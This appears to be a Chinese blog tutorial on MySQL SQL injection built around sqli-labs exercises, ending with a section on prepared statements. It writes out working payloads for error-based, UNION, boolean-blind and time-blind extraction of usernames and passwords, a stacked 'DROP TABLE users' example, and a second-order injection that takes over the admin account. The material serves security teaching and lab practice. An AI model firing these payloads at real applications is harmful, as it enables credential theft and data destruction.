SQL注入入门讲解

SQL注入

注:本次课程以mysql为例

1.什么是sql注入,sql注入的原理

SQL 注入(SQL Injection)作为 Web 应用常见漏洞之一,长期位列 OWASP Top 10 安全风险的前列,严重时可导致数据库数据泄露、数据篡改、数据库破坏,甚至可能进一步获取服务器权限。

SQL 注入是一类通过向应用程序输入端注入恶意 SQL 指令,从而使服务器在执行查询时被迫执行攻击者构造的 SQL 语句的攻击方式。

其本质是:

用户可控输入 + 字符串拼接 SQL + 缺乏输入验证

只要满足这三个条件,就可能产生注入风险。

2.sql注入常见的类型

如何判断是否存在sql注入

1.输入' 后发现回显有异常,输入''后无异常,并且是规律性的----存在字符型注入

2.输入运算 1+1 回显是2 或者 1/0回显报错 -----存在数字型注入

正常查询
SELECT * FROM user WHERE id = '1' AND name = '' ;
异常查询

image-20260115185938049

image-20260115190012313

image-20260115190031141

在注入前,我们需要让sql语句完全闭合/匹配

1. 基于错误回显的注入(Error-based Injection)

服务器返回 SQL 错误信息,攻击者通过错误提示判断数据库类型、结构等。

示例:

SELECT * FROM users WHERE id = '1' AND name = ''' ;

返回语句可能包含数据库结构、SQL 语法信息等敏感内容。

?id=1'

image-20260115194215172

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这句报错明确泄露数据库类型是 MySQL,反推出后端执行的大概 SQL 语句结构SELECT [查询字段] FROM [业务表名] WHERE [查询条件字段] = ''1'' LIMIT 0,1

我们看一下后端

image-20260116113945424

基本上猜对了,而我们注入一个'会报错,是因为我们的sql语句变成了

SELECT * FROM users WHERE id='1'' LIMIT 0,1

MySQL 解析单引号的规则是:单引号必须「严格两两成对出现」,才能包裹出合法的字符串值,解析器会从左到右配对

2.联合查询注入(UNION-based Injection)

攻击者可以利用 UNION 将自己的查询结果拼接到正常结果中,从而读取任意表数据。

示例:

?id=-1' UNION SELECT 1,database(),3--+   //拿库
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+  //拿表
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+  //拿字段
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+  //拿数据

如果响应页面能直接展示查询结果,则会将敏感数据泄露给攻击者。

image-20260116115328404

3.布尔盲注(Boolean-based Blind Injection)

sqli-labs-5

服务器不返回错误信息,但页面会根据条件真假出现不同显示效果。攻击者通过判断页面变化逐位猜测数据库结构。

示例:

?id=1' AND 1=1 --+        (页面正常)
?id=1' AND 1=2 --+        (页面变化/变空白)

image-20260116124303207

image-20260116124319244

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

4. 时间盲注(Time-based Blind Injection)

攻击者使用数据库的时间延迟函数,通过页面响应时间判断条件真假,用于在无错误回显、无页面差异的情况下进行探测。

示例(MySQL):

?id=1' and if(1=1,sleep(5),1)--+

sqli-labs9

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

5. 堆叠查询注入(Stacked Injection)

使用分号执行多条 SQL。如果系统允许多语句执行,则可能同时执行恶意语句。

示例:

1; DROP TABLE users; --

堆叠查询指的是:在一条 SQL 语句中,使用「分号;」作为分隔符,一次执行多条相互独立的SQL语句

MySQL 的原生语法天然支持这种写法,比如:

SELECT * FROM users WHERE id=1; DELETE FROM users; SELECT * FROM goods;

依旧先看数据库

image-20260116125032050

我们发现这是正常是一个堆叠查询,那如果对方的查询语句允许我们堆叠查询,我们就可以使用该注入方法

什么时候能使用堆叠查询 / 触发堆叠注入

✅ 条件一:「数据库层面」- MySQL 原生支持堆叠查询(默认满足)

其他数据库也支持堆叠查询,比如 SQL Server、PostgreSQL,Oracle 不支持分号分隔的堆叠查询,这是数据库本身的语法差异。

✅ 条件二:「代码层面」- 后端调用了「支持执行多条 SQL 语句」的数据库 API 函数 / 执行方法

这是堆叠查询能否生效的核心关键

mysqli_multi_query  // PHP+MySQL
Statement stmt = conn.createStatement(); //JAVA

6. 二次注入(Second Order Injection)

注入语句第一次写入数据库时不会触发注入,但系统在后续使用该字段拼接 SQL 时才会触发漏洞。

示例:
注册用户名输入

admin'#

入库安全,但后台查询:

SELECT * FROM users WHERE username='admin'#'

导致注入。

例题:sqli-labs24

首先我们先看数据库

image-20260116130342549

这里存放了用户的基本信息,现在我们进行注册

admin'# /123456
单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。

image-20260116131214073

注册成功,登录同样成功

image-20260116131310493

但是我们现在修改一下密码:111,密码修改成功

image-20260116131415993

但我们查看数据库会发现

image-20260116131441450

修改的是admin账号的密码

为什么能注入成功

因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。

登录页面,转义

image-20260116130649114

注册页面,转义

image-20260116131109780

修改密码页面

我们发现对密码有转移,但是对username没有,存在注入

image-20260116130842152

3.我们如何利用

上面讲述了常见的利用方法/注入方法,现在讲一下绕过

绕过技巧

如何防护

预编译防护

预编译(Prepared Statement)也叫参数化查询,核心是:把 SQL 语句的「语法骨架」和「用户输入的参数」彻底分离,分两步执行 SQL,这个分离是数据库层面强制实现的,不是后端代码层面的分离。

使用预编译语句(Prepared Statement)

这是防御 SQL 注入最有效的技术手段。

示例(Java JDBC):

String sql = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);

第 1 步:预编译「SQL 语法骨架」,数据库只解析语法,不传入参数

后端先把 不带任何参数值 的 SQL 骨架发给 MySQL:

String sql = "SELECT * FROM users WHERE username=? AND password=?";

预处理语句会先编译 SQL,再绑定参数,用户输入不会影响 SQL 结构。

这里的 ? 是「参数占位符」,作用是占位置,告诉数据库:「这个位置后续会传入纯数据,现在你只需要解析我的 SQL 语法是否正确」。

  • MySQL 会对这个骨架做「语法编译」,生成执行计划;
  • 此时没有任何用户输入参与解析,所以不管后续参数是什么,语法永远合法

第 2 步:绑定参数并执行,数据库只把参数当作「纯数据」处理

语法编译通过后,后端再把「用户输入的参数值」(比如 11'' OR 1=1 #)单独发给 MySQL,MySQL 会把参数强行填充到占位符 ? 的位置

✅ 最关键的安全规则(预编译防注入的灵魂)

MySQL 在预编译模式下,会对传入的参数做「强制数据化处理」:无论参数里包含什么字符(单引号'、双引号"、OR、AND、#、-- 等),都会被当作「普通的字符串 / 数字数据」,永远不会被解析成 SQL 语法!

posted @ 2026-01-16 15:14  paaai  阅读(21)  评论(0)    收藏  举报